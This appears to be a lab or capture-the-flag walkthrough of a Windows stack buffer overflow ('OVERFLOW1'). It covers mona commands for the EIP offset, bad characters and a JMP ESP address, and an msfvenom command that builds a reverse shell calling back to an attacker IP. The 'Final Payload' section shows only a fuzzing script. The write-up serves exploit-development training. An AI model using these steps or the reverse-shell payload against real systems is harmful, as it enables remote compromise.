Overflow1

1. Fuzz application to find number of bytes needed to crash the application

Bytes needed to crash application: 2000

2. Set mona configuration

!mona config -set workingfolder c:\mona\%p

3. Find EIP offset

We first generate a cyclic pattern of a length 2000 bytes longer than the string that crashed the server

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 2000

Let's add this to the payload component of our exploit.py. Next, let's run exploit.py.

Next, let's use the following command to find what is inside EIP.

!mona findmsp -distance 2000

Notice that the highlighted line says that the EIP offset is at 1978.

Let's change the EIP offset in exploit.py to 1978 and set our payload to "BBBB". If our EIP offset is correct, when the program crashes, EIP will contain "BBBB" which is 42424242.

True enough, EIP contains 42424242. EIP offset: 1978

4. Find bad characters

Let's generate a byte array in mona:

!mona bytearray -b "\x00"

We then add the output into our payload in exploit.py and run it.

Then we run !mona compare -f C:\mona\oscp\bytearray.bin -a <ESP address>.

Notice the mona indicates that \x07, \x08, \x2e, \x2f, \xa0 and \xa1 are bad characters.

My guess is that the bad characters are \x00\x07\x2e\xa0. The reason is usually the first bad character would corrupt the memory leaving the following character to be detected as a bad character by mona.

Let's test this out and remove \x00\x07\x2e\xa0 from our payload.

Hence, our bad characters are "\x00\x07\x2e\xa0"

5. Find jmp esp instruction sets without any bad characters

!mona jmp -r esp -cpb "\x00\x07\x2e\xa0"

We can use the first one.

Jmp esp instruction address: 0x625011af

So let's set the return address in our payload to "\xaf\x11\x50\x62"

6. Generate shellcode

msfvenom -p windows/shell_reverse_tcp LHOST=10.9.141.31 LPORT=4444 EXITFUNC=thread -b "\x00\x07\x2e\xa0" -f c

Let's copy this into our payload component.

7. Set nop sled in padding

Let's set the nop sled in padding and run exploit.py.

Final Payload

import socket, time, sys

ip = "10.10.5.24"

port = 1337
timeout = 5
prefix = "OVERFLOW1 "

string = prefix + "A" * 100

while True:
	try:
		with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
			s.settimeout(timeout)
			s.connect((ip, port))
			s.recv(1024)
			print("Fuzzing with {} bytes".format(len(string) - len(prefix)))
			s.send(bytes(string, "latin-1"))
			s.recv(1024)
	except:
		print("Fuzzing crashed at {} bytes".format(len(string) - len(prefix)))
		sys.exit(0)
	string += 100 * "A"
	time.sleep(1)

Last updated